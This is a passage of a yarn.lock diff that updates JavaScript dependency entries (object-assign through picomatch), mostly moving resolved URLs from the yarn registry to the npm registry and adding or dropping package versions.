-  resolved "https://registry.yarnpkg.com/nwsapi/-/nwsapi-2.2.7.tgz#738e0707d3128cb750dddcfe90e4610482df0f30"
+  resolved "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.7.tgz"
   integrity sha512-ub5E4+FBPKwAZx0UwIQOjYWGHTEq5sPqHQNRN8Z9e4A7u3Tj1weLJsL59yH9vmvqEtBHaOmT6cYQKIZOxp35FQ==
 
-object-assign@^4.0.1, object-assign@^4.1.1:
+object-assign@^4, object-assign@^4.0.1, object-assign@^4.1.1:
   version "4.1.1"
-  resolved "https://registry.yarnpkg.com/object-assign/-/object-assign-4.1.1.tgz#2109adc7965887cfc05cbbd442cac8bfbb360863"
+  resolved "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz"
   integrity sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==
 
-object-hash@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/object-hash/-/object-hash-3.0.0.tgz#73f97f753e7baffc0e2cc9d6e079079744ac82e9"
-  integrity sha512-RSn9F68PjH9HqtltsSnqYC1XXoWe9Bju5+213R98cNGttag9q9yAOTzdbsqvIa7aNm5WffBZFpWYr2aWrklWAw==
-
-object-inspect@^1.12.3, object-inspect@^1.9.0:
-  version "1.12.3"
-  resolved "https://registry.yarnpkg.com/object-inspect/-/object-inspect-1.12.3.tgz#ba62dffd67ee256c8c086dfae69e016cd1f198b9"
-  integrity sha512-geUvdk7c+eizMNUDkRpW1wJwgfOiOeHbxBR/hLXK1aT6zmVSO0jsQcs7fj6MGw89jC/cjGfLcNOrtMYtGqm81g==
-
-object-inspect@^1.13.1:
-  version "1.13.1"
-  resolved "https://registry.yarnpkg.com/object-inspect/-/object-inspect-1.13.1.tgz#b96c6109324ccfef6b12216a956ca4dc2ff94bc2"
-  integrity sha512-5qoj1RUiKOMsCCNLV1CBiPYE10sziTsnmNxkAI/rZhiD63CF7IqdFGC/XzjWjpSgLf0LxXX3bDFIh0E18f6UhQ==
-
-object-is@^1.1.5:
-  version "1.1.5"
-  resolved "https://registry.yarnpkg.com/object-is/-/object-is-1.1.5.tgz#b9deeaa5fc7f1846a0faecdceec138e5778f53ac"
-  integrity sha512-3cyDsyHgtmi7I7DfSSI2LDp6SK2lwvtbg0p0R1e0RvTqF5ceGx+K2dfSjm1bKDMVCFEDAQvy+o8c6a7VujOddw==
-  dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.1.3"
+object-inspect@^1.13.3, object-inspect@^1.13.4:
+  version "1.13.4"
+  resolved "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.4.tgz"
+  integrity sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==
 
 object-keys@^1.1.1:
   version "1.1.1"
   resolved "https://registry.yarnpkg.com/object-keys/-/object-keys-1.1.1.tgz#1c47f272df277f3b1daf061677d9c82e2322c60e"
   integrity sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==
 
-object.assign@^4.1.0, object.assign@^4.1.3, object.assign@^4.1.4:
-  version "4.1.4"
-  resolved "https://registry.yarnpkg.com/object.assign/-/object.assign-4.1.4.tgz#9673c7c7c351ab8c4d0b516f4343ebf4dfb7799f"
-  integrity sha512-1mxKf0e58bvyjSCtKYY4sRe9itRk3PJpquJOjeIkz885CczcI4IvJJDLPS72oowuSh+pBxUFROpX+TU++hxhZQ==
+object.assign@^4.1.7:
+  version "4.1.7"
+  resolved "https://registry.yarnpkg.com/object.assign/-/object.assign-4.1.7.tgz#8c14ca1a424c6a561b0bb2a22f66f5049a945d3d"
+  integrity sha512-nK28WOo+QIjBkDduTINE4JkF/UJJKyf2EJxvJKfblDpyg0Q+pkOHNTL0Qwy6NP6FhE/EnzV73BxxqcJaXY9anw==
   dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.1.4"
-    has-symbols "^1.0.3"
+    call-bind "^1.0.8"
+    call-bound "^1.0.3"
+    define-properties "^1.2.1"
+    es-object-atoms "^1.0.0"
+    has-symbols "^1.1.0"
     object-keys "^1.1.1"
 
-object.entries@^1.1.6:
-  version "1.1.6"
-  resolved "https://registry.yarnpkg.com/object.entries/-/object.entries-1.1.6.tgz#9737d0e5b8291edd340a3e3264bb8a3b00d5fa23"
-  integrity sha512-leTPzo4Zvg3pmbQ3rDK69Rl8GQvIqMWubrkxONG9/ojtFE2rD9fjMKfSI5BxW3osRH1m6VdzmqK8oAY9aT4x5w==
-  dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.1.4"
-    es-abstract "^1.20.4"
-
-object.fromentries@^2.0.6:
-  version "2.0.6"
-  resolved "https://registry.yarnpkg.com/object.fromentries/-/object.fromentries-2.0.6.tgz#cdb04da08c539cffa912dcd368b886e0904bfa73"
-  integrity sha512-VciD13dswC4j1Xt5394WR4MzmAQmlgN72phd/riNp9vtD7tp4QQWJ0R4wvclXcafgcYK8veHRed2W6XeGBvcfg==
-  dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.1.4"
-    es-abstract "^1.20.4"
-
-object.fromentries@^2.0.7:
-  version "2.0.7"
-  resolved "https://registry.yarnpkg.com/object.fromentries/-/object.fromentries-2.0.7.tgz#71e95f441e9a0ea6baf682ecaaf37fa2a8d7e616"
-  integrity sha512-UPbPHML6sL8PI/mOqPwsH4G6iyXcCGzLin8KvEPenOZN5lpCNBZZQ+V62vdjB1mQHrmqGQt5/OJzemUA+KJmEA==
-  dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.2.0"
-    es-abstract "^1.22.1"
-
-object.groupby@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/object.groupby/-/object.groupby-1.0.1.tgz#d41d9f3c8d6c778d9cbac86b4ee9f5af103152ee"
-  integrity sha512-HqaQtqLnp/8Bn4GL16cj+CUYbnpe1bh0TtEaWvybszDG4tgxCJuRpV8VGuvNaI1fAnI4lUJzDG55MXcOH4JZcQ==
-  dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.2.0"
-    es-abstract "^1.22.1"
-    get-intrinsic "^1.2.1"
-
-object.hasown@^1.1.2:
-  version "1.1.2"
-  resolved "https://registry.yarnpkg.com/object.hasown/-/object.hasown-1.1.2.tgz#f919e21fad4eb38a57bc6345b3afd496515c3f92"
-  integrity sha512-B5UIT3J1W+WuWIU55h0mjlwaqxiE5vYENJXIXZ4VFe05pNYrkKuK0U/6aFcb0pKywYJh7IhfoqUfKVmrJJHZHw==
-  dependencies:
-    define-properties "^1.1.4"
-    es-abstract "^1.20.4"
-
-object.values@^1.1.6:
-  version "1.1.6"
-  resolved "https://registry.yarnpkg.com/object.values/-/object.values-1.1.6.tgz#4abbaa71eba47d63589d402856f908243eea9b1d"
-  integrity sha512-FVVTkD1vENCsAcwNs9k6jea2uHC/X0+JcjG8YA60FN5CMaJmG95wT9jek/xX9nornqGRrBkKtzuAu2wuHpKqvw==
-  dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.1.4"
-    es-abstract "^1.20.4"
-
-object.values@^1.1.7:
-  version "1.1.7"
-  resolved "https://registry.yarnpkg.com/object.values/-/object.values-1.1.7.tgz#617ed13272e7e1071b43973aa1655d9291b8442a"
-  integrity sha512-aU6xnDFYT3x17e/f0IiiwlGPTy2jzMySGfUB4fq6z7CV8l85CWHDk5ErhyhpfDHhrOMwGFhSQkhMGHaIotA6Ng==
+on-finished@^2.4.1:
+  version "2.4.1"
+  resolved "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz"
+  integrity sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==
   dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.2.0"
-    es-abstract "^1.22.1"
+    ee-first "1.1.1"
 
-once@^1.3.0:
+once@^1.3.0, once@^1.3.1, once@^1.4.0:
   version "1.4.0"
-  resolved "https://registry.yarnpkg.com/once/-/once-1.4.0.tgz#583b1aa775961d4b113ac17d9c50baef9dd76bd1"
+  resolved "https://registry.npmjs.org/once/-/once-1.4.0.tgz"
   integrity sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==
   dependencies:
     wrappy "1"
 
+one-time@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.npmjs.org/one-time/-/one-time-1.0.0.tgz"
+  integrity sha512-5DXOiRKwuSEcQ/l0kGCF6Q3jcADFv5tSmRaJck/OqkVFcOzutB134KRSfF0xDrL39MNnqxbHBbUUcjZIhTgb2g==
+  dependencies:
+    fn.name "1.x.x"
+
 onetime@^5.1.0, onetime@^5.1.2:
   version "5.1.2"
-  resolved "https://registry.yarnpkg.com/onetime/-/onetime-5.1.2.tgz#d0e96ebb56b07476df1dd9c4806e5237985ca45e"
+  resolved "https://registry.npmjs.org/onetime/-/onetime-5.1.2.tgz"
   integrity sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==
   dependencies:
     mimic-fn "^2.1.0"
 
-onetime@^6.0.0:
-  version "6.0.0"
-  resolved "https://registry.yarnpkg.com/onetime/-/onetime-6.0.0.tgz#7c24c18ed1fd2e9bca4bd26806a33613c77d34b4"
-  integrity sha512-1FlR+gjXK7X+AsAHso35MnyN5KqGwJRi/31ft6x0M194ht7S+rWAvd7PHss9xSKMzE0asv1pyIHaJYq+BbacAQ==
-  dependencies:
-    mimic-fn "^4.0.0"
-
-open@^9.1.0:
-  version "9.1.0"
-  resolved "https://registry.yarnpkg.com/open/-/open-9.1.0.tgz#684934359c90ad25742f5a26151970ff8c6c80b6"
-  integrity sha512-OS+QTnw1/4vrf+9hh1jc1jnYjzSG4ttTBB8UxOwAnInG3Uo4ssetzC1ihqaIHjLJnA5GGlRl6QlZXOTQhRBUvg==
-  dependencies:
-    default-browser "^4.0.0"
-    define-lazy-prop "^3.0.0"
-    is-inside-container "^1.0.0"
-    is-wsl "^2.2.0"
-
-optionator@^0.8.1:
-  version "0.8.3"
-  resolved "https://registry.yarnpkg.com/optionator/-/optionator-0.8.3.tgz#84fa1d036fe9d3c7e21d99884b601167ec8fb495"
-  integrity sha512-+IW9pACdk3XWmmTXG8m3upGUJst5XRGzxMRjXzAuJ1XnIFNvfhjjIuYkDvysnPQ7qzqVzLt78BCruntqRhWQbA==
-  dependencies:
-    deep-is "~0.1.3"
-    fast-levenshtein "~2.0.6"
-    levn "~0.3.0"
-    prelude-ls "~1.1.2"
-    type-check "~0.3.2"
-    word-wrap "~1.2.3"
-
-optionator@^0.9.1:
-  version "0.9.1"
-  resolved "https://registry.yarnpkg.com/optionator/-/optionator-0.9.1.tgz#4f236a6373dae0566a6d43e1326674f50c291499"
-  integrity sha512-74RlY5FCnhq4jRxVUPKDaRwrVNXMqsGsiW6AJw4XK8hmtm10wC0ypZBLw5IIp85NZMr91+qd1RvvENwg7jjRFw==
-  dependencies:
-    deep-is "^0.1.3"
-    fast-levenshtein "^2.0.6"
-    levn "^0.4.1"
-    prelude-ls "^1.2.1"
-    type-check "^0.4.0"
-    word-wrap "^1.2.3"
-
 optionator@^0.9.3:
   version "0.9.3"
-  resolved "https://registry.yarnpkg.com/optionator/-/optionator-0.9.3.tgz#007397d44ed1872fdc6ed31360190f81814e2c64"
+  resolved "https://registry.npmjs.org/optionator/-/optionator-0.9.3.tgz"
   integrity sha512-JjCoypp+jKn1ttEFExxhetCKeJt9zhAgAve5FXHixTvFDW/5aEktX9bufBKLRRMdU7bNtpLfcGu94B3cdEJgjg==
   dependencies:
     "@aashutoshrathi/word-wrap" "^1.2.3"
@@ -8166,7 +9268,7 @@ optionator@^0.9.3:
 
 ora@5.4.1:
   version "5.4.1"
-  resolved "https://registry.yarnpkg.com/ora/-/ora-5.4.1.tgz#1b2678426af4ac4a509008e5e4ac9e9959db9e18"
+  resolved "https://registry.npmjs.org/ora/-/ora-5.4.1.tgz"
   integrity sha512-5b6Y85tPxZZ7QytO+BQzysW31HJku27cRIlkbAXaNx+BdcVi+LlRFmVXzeF6a7JCwJpyw5c4b+YSVImQIrBpuQ==
   dependencies:
     bl "^4.1.0"
@@ -8179,56 +9281,112 @@ ora@5.4.1:
     strip-ansi "^6.0.0"
     wcwidth "^1.0.1"
 
+ora@^7.0.1:
+  version "7.0.1"
+  resolved "https://registry.npmjs.org/ora/-/ora-7.0.1.tgz"
+  integrity sha512-0TUxTiFJWv+JnjWm4o9yvuskpEJLXTcng8MJuKd+SzAzp2o+OP3HWqNhB4OdJRt1Vsd9/mR0oyaEYlOnL7XIRw==
+  dependencies:
+    chalk "^5.3.0"
+    cli-cursor "^4.0.0"
+    cli-spinners "^2.9.0"
+    is-interactive "^2.0.0"
+    is-unicode-supported "^1.3.0"
+    log-symbols "^5.1.0"
+    stdin-discarder "^0.1.0"
+    string-width "^6.1.0"
+    strip-ansi "^7.1.0"
+
+own-keys@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/own-keys/-/own-keys-1.0.1.tgz#e4006910a2bf913585289676eebd6f390cf51358"
+  integrity sha512-qFOyK5PjiWZd+QQIh+1jhdb9LpxTF0qs7Pm8o5QHYZ0M3vKqSqzsZaEB6oWlxZ+q2sJBMI/Ktgd2N5ZwQoRHfg==
+  dependencies:
+    get-intrinsic "^1.2.6"
+    object-keys "^1.1.1"
+    safe-push-apply "^1.0.0"
+
 p-limit@^2.0.0, p-limit@^2.2.0:
   version "2.3.0"
-  resolved "https://registry.yarnpkg.com/p-limit/-/p-limit-2.3.0.tgz#3dd33c647a214fdfffd835933eb086da0dc21db1"
+  resolved "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz"
   integrity sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==
   dependencies:
     p-try "^2.0.0"
 
 p-limit@^3.0.2, p-limit@^3.1.0:
   version "3.1.0"
-  resolved "https://registry.yarnpkg.com/p-limit/-/p-limit-3.1.0.tgz#e1daccbe78d0d1388ca18c64fea38e3e57e3706b"
+  resolved "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz"
   integrity sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==
   dependencies:
     yocto-queue "^0.1.0"
 
 p-locate@^3.0.0:
   version "3.0.0"
-  resolved "https://registry.yarnpkg.com/p-locate/-/p-locate-3.0.0.tgz#322d69a05c0264b25997d9f40cd8a891ab0064a4"
+  resolved "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz"
   integrity sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==
   dependencies:
     p-limit "^2.0.0"
 
 p-locate@^4.1.0:
   version "4.1.0"
-  resolved "https://registry.yarnpkg.com/p-locate/-/p-locate-4.1.0.tgz#a3428bb7088b3a60292f66919278b7c297ad4f07"
+  resolved "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz"
   integrity sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==
   dependencies:
     p-limit "^2.2.0"
 
 p-locate@^5.0.0:
   version "5.0.0"
-  resolved "https://registry.yarnpkg.com/p-locate/-/p-locate-5.0.0.tgz#83c8315c6785005e3bd021839411c9e110e6d834"
+  resolved "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz"
   integrity sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==
   dependencies:
     p-limit "^3.0.2"
 
 p-try@^2.0.0:
   version "2.2.0"
-  resolved "https://registry.yarnpkg.com/p-try/-/p-try-2.2.0.tgz#cb2868540e313d61de58fafbe35ce9004d5540e6"
+  resolved "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz"
   integrity sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==
 
+pac-proxy-agent@^7.1.0:
+  version "7.2.0"
+  resolved "https://registry.npmjs.org/pac-proxy-agent/-/pac-proxy-agent-7.2.0.tgz"
+  integrity sha512-TEB8ESquiLMc0lV8vcd5Ql/JAKAoyzHFXaStwjkzpOpC5Yv+pIzLfHvjTSdf3vpa2bMiUQrg9i6276yn8666aA==
+  dependencies:
+    "@tootallnate/quickjs-emscripten" "^0.23.0"
+    agent-base "^7.1.2"
+    debug "^4.3.4"
+    get-uri "^6.0.1"
+    http-proxy-agent "^7.0.0"
+    https-proxy-agent "^7.0.6"
+    pac-resolver "^7.0.1"
+    socks-proxy-agent "^8.0.5"
+
+pac-resolver@^7.0.1:
+  version "7.0.1"
+  resolved "https://registry.npmjs.org/pac-resolver/-/pac-resolver-7.0.1.tgz"
+  integrity sha512-5NPgf87AT2STgwa2ntRMr45jTKrYBGkVU36yT0ig/n/GMAa3oPqhZfIQ2kMEimReg0+t9kZViDVZ83qfVUlckg==
+  dependencies:
+    degenerator "^5.0.0"
+    netmask "^2.0.2"
+
+package-json-from-dist@^1.0.0:
+  version "1.0.1"
+  resolved "https://registry.npmjs.org/package-json-from-dist/-/package-json-from-dist-1.0.1.tgz"
+  integrity sha512-UEZIS3/by4OC8vL3P2dTXRETpebLI2NiI5vIrjaD/5UtrkFX/tNbwjTSRAGC/+7CAo2pIcBaRgWmcBBHcsaCIw==
+
+pako@~1.0.2:
+  version "1.0.11"
+  resolved "https://registry.npmjs.org/pako/-/pako-1.0.11.tgz"
+  integrity sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw==
+
 parent-module@^1.0.0:
   version "1.0.1"
-  resolved "https://registry.yarnpkg.com/parent-module/-/parent-module-1.0.1.tgz#691d2709e78c79fae3a156622452d00762caaaa2"
+  resolved "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz"
   integrity sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==
   dependencies:
     callsites "^3.0.0"
 
 parse-json@^5.2.0:
   version "5.2.0"
-  resolved "https://registry.yarnpkg.com/parse-json/-/parse-json-5.2.0.tgz#c76fc66dee54231c962b22bcc8a72cf2f99753cd"
+  resolved "https://registry.npmjs.org/parse-json/-/parse-json-5.2.0.tgz"
   integrity sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==
   dependencies:
     "@babel/code-frame" "^7.0.0"
@@ -8236,206 +9394,214 @@ parse-json@^5.2.0:
     json-parse-even-better-errors "^2.3.0"
     lines-and-columns "^1.1.6"
 
+parse-passwd@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.npmjs.org/parse-passwd/-/parse-passwd-1.0.0.tgz"
+  integrity sha512-1Y1A//QUXEZK7YKz+rD9WydcE1+EuPr6ZBgKecAB8tmoW6UFv0NREVJe1p+jRxtThkcbbKkfwIbWJe/IeE6m2Q==
+
+parse5-htmlparser2-tree-adapter@^7.0.0:
+  version "7.1.0"
+  resolved "https://registry.npmjs.org/parse5-htmlparser2-tree-adapter/-/parse5-htmlparser2-tree-adapter-7.1.0.tgz"
+  integrity sha512-ruw5xyKs6lrpo9x9rCZqZZnIUntICjQAd0Wsmp396Ul9lN/h+ifgVV1x1gZHi8euej6wTfpqX8j+BFQxF0NS/g==
+  dependencies:
+    domhandler "^5.0.3"
+    parse5 "^7.0.0"
+
+parse5-parser-stream@^7.1.2:
+  version "7.1.2"
+  resolved "https://registry.npmjs.org/parse5-parser-stream/-/parse5-parser-stream-7.1.2.tgz"
+  integrity sha512-JyeQc9iwFLn5TbvvqACIF/VXG6abODeB3Fwmv/TGdLk2LfbWkaySGY72at4+Ty7EkPZj854u4CrICqNk2qIbow==
+  dependencies:
+    parse5 "^7.0.0"
+
 parse5@^7.0.0:
   version "7.1.1"
-  resolved "https://registry.yarnpkg.com/parse5/-/parse5-7.1.1.tgz#4649f940ccfb95d8754f37f73078ea20afe0c746"
+  resolved "https://registry.npmjs.org/parse5/-/parse5-7.1.1.tgz"
   integrity sha512-kwpuwzB+px5WUg9pyK0IcK/shltJN5/OVhQagxhCQNtT9Y9QRZqNY2e1cmbu/paRh5LMnz/oVTVLBpjFmMZhSg==
   dependencies:
     entities "^4.4.0"
 
 parse5@^7.1.2:
   version "7.1.2"
-  resolved "https://registry.yarnpkg.com/parse5/-/parse5-7.1.2.tgz#0736bebbfd77793823240a23b7fc5e010b7f8e32"
+  resolved "https://registry.npmjs.org/parse5/-/parse5-7.1.2.tgz"
   integrity sha512-Czj1WaSVpaoj0wbhMzLmWD69anp2WH7FXMB9n1Sy8/ZFF9jolSQVMu1Ij5WIyGmcBmhk7EOndpO4mIpihVqAXw==
   dependencies:
     entities "^4.4.0"
 
+parseley@^0.12.0:
+  version "0.12.1"
+  resolved "https://registry.npmjs.org/parseley/-/parseley-0.12.1.tgz"
+  integrity sha512-e6qHKe3a9HWr0oMRVDTRhKce+bRO8VGQR3NyVwcjwrbhMmFCX9KszEV35+rn4AdilFAq9VPxP/Fe1wC9Qjd2lw==
+  dependencies:
+    leac "^0.6.0"
+    peberminta "^0.9.0"
+
+parseurl@^1.3.3:
+  version "1.3.3"
+  resolved "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz"
+  integrity sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==
+
 path-exists@^3.0.0:
   version "3.0.0"
-  resolved "https://registry.yarnpkg.com/path-exists/-/path-exists-3.0.0.tgz#ce0ebeaa5f78cb18925ea7d810d7b59b010fd515"
+  resolved "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz"
   integrity sha512-bpC7GYwiDYQ4wYLe+FA8lhRjhQCMcQGuSgGGqDkg/QerRWw9CmGRT0iSOVRSZJ29NMLZgIzqaljJ63oaL4NIJQ==
 
 path-exists@^4.0.0:
   version "4.0.0"
-  resolved "https://registry.yarnpkg.com/path-exists/-/path-exists-4.0.0.tgz#513bdbe2d3b95d7762e8c1137efa195c6c61b5b3"
+  resolved "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz"
   integrity sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==
 
 path-is-absolute@^1.0.0:
   version "1.0.1"
-  resolved "https://registry.yarnpkg.com/path-is-absolute/-/path-is-absolute-1.0.1.tgz#174b9268735534ffbc7ace6bf53a5a9e1b5c5f5f"
+  resolved "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz"
   integrity sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==
 
 path-key@^3.0.0, path-key@^3.1.0:
   version "3.1.1"
-  resolved "https://registry.yarnpkg.com/path-key/-/path-key-3.1.1.tgz#581f6ade658cbba65a0d3380de7753295054f375"
+  resolved "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz"
   integrity sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==
 
-path-key@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/path-key/-/path-key-4.0.0.tgz#295588dc3aee64154f877adb9d780b81c554bf18"
-  integrity sha512-haREypq7xkM7ErfgIyA0z+Bj4AGKlMSdlQE2jvJo6huWD1EdkKYV+G/T4nq0YEF2vgTT8kqMFKo1uHn950r4SQ==
-
 path-parse@^1.0.7:
   version "1.0.7"
-  resolved "https://registry.yarnpkg.com/path-parse/-/path-parse-1.0.7.tgz#fbc114b60ca42b30d9daf5858e4bd68bbedb6735"
+  resolved "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz"
   integrity sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==
 
 path-scurry@^1.10.1:
   version "1.10.1"
-  resolved "https://registry.yarnpkg.com/path-scurry/-/path-scurry-1.10.1.tgz#9ba6bf5aa8500fe9fd67df4f0d9483b2b0bfc698"
+  resolved "https://registry.npmjs.org/path-scurry/-/path-scurry-1.10.1.tgz"
   integrity sha512-MkhCqzzBEpPvxxQ71Md0b1Kk51W01lrYvlMzSUaIzNsODdd7mqhiimSZlr+VegAz5Z6Vzt9Xg2ttE//XBhH3EQ==
   dependencies:
     lru-cache "^9.1.1 || ^10.0.0"
     minipass "^5.0.0 || ^6.0.2 || ^7.0.0"
 
+path-scurry@^1.11.1:
+  version "1.11.1"
+  resolved "https://registry.npmjs.org/path-scurry/-/path-scurry-1.11.1.tgz"
+  integrity sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA==
+  dependencies:
+    lru-cache "^10.2.0"
+    minipass "^5.0.0 || ^6.0.2 || ^7.0.0"
+
+path-scurry@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.npmjs.org/path-scurry/-/path-scurry-2.0.0.tgz"
+  integrity sha512-ypGJsmGtdXUOeM5u93TyeIEfEhM6s+ljAhrk5vAvSx8uyY/02OvrZnA0YNGUrPXfpJMgI1ODd3nwz8Npx4O4cg==
+  dependencies:
+    lru-cache "^11.0.0"
+    minipass "^7.1.2"
+
+path-to-regexp@^8.0.0:
+  version "8.2.0"
+  resolved "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-8.2.0.tgz"
+  integrity sha512-TdrF7fW9Rphjq4RjrW0Kp2AW0Ahwu9sRGTkS6bvDi0SCwZlEZYmcfDbEsTz8RVk0EHIS/Vd1bv3JhG+1xZuAyQ==
+
 path-type@^4.0.0:
   version "4.0.0"
-  resolved "https://registry.yarnpkg.com/path-type/-/path-type-4.0.0.tgz#84ed01c0a7ba380afe09d90a8c180dcd9d03043b"
+  resolved "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz"
   integrity sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==
 
-picocolors@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/picocolors/-/picocolors-1.0.0.tgz#cb5bdc74ff3f51892236eaf79d68bc44564ab81c"
-  integrity sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ==
+peberminta@^0.9.0:
+  version "0.9.0"
+  resolved "https://registry.npmjs.org/peberminta/-/peberminta-0.9.0.tgz"
+  integrity sha512-XIxfHpEuSJbITd1H3EeQwpcZbTLHc+VVr8ANI9t5sit565tsI4/xK3KWTUFE2e6QiangUkh3B0jihzmGnNrRsQ==
 
-picocolors@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/picocolors/-/picocolors-1.0.1.tgz#a8ad579b571952f0e5d25892de5445bcfe25aaa1"
-  integrity sha512-anP1Z8qwhkbmu7MFP5iTt+wQKXgwzf7zTyGlcdzabySa9vd0Xt392U0rVmz9poOaBj0uHJKyyo9/upk0HrEQew==
+pend@~1.2.0:
+  version "1.2.0"
+  resolved "https://registry.npmjs.org/pend/-/pend-1.2.0.tgz"
+  integrity sha512-F3asv42UuXchdzt+xXqfW1OGlVBe+mxa2mqI0pg5yAHZPvFmY3Y6drSf/GQ1A86WgWEN9Kzh/WrgKa6iGcHXLg==
+
+picocolors@^1.0.0, picocolors@^1.1.1:
+  version "1.1.1"
+  resolved "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz"
+  integrity sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==
 
 picomatch@^2.0.4, picomatch@^2.2.1, picomatch@^2.2.3, picomatch@^2.3.1:
   version "2.3.1"
-  resolved "https://registry.yarnpkg.com/picomatch/-/picomatch-2.3.1.tgz#3ba3833733646d9d3e4995946c1365a67fb07a42"
+  resolved "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz"
